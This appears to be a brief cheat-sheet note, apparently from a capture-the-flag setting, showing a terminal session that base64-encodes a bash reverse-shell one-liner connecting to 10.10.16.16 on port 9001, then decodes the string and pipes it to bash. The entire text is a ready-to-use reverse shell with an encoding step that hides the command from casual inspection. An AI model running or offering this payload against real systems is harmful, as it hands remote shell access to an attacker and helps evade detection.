revshell with base64

code:termianl

shoebill@pwner:~$ echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.16/9001 0>&1'" | base64 -w 0

YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi85MDAxIDA+JjEnshoebill@pwner:~$

shoebill@pwner:~$ echo -n YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNi85MDAxIDA+JjEn | base64 -d | bash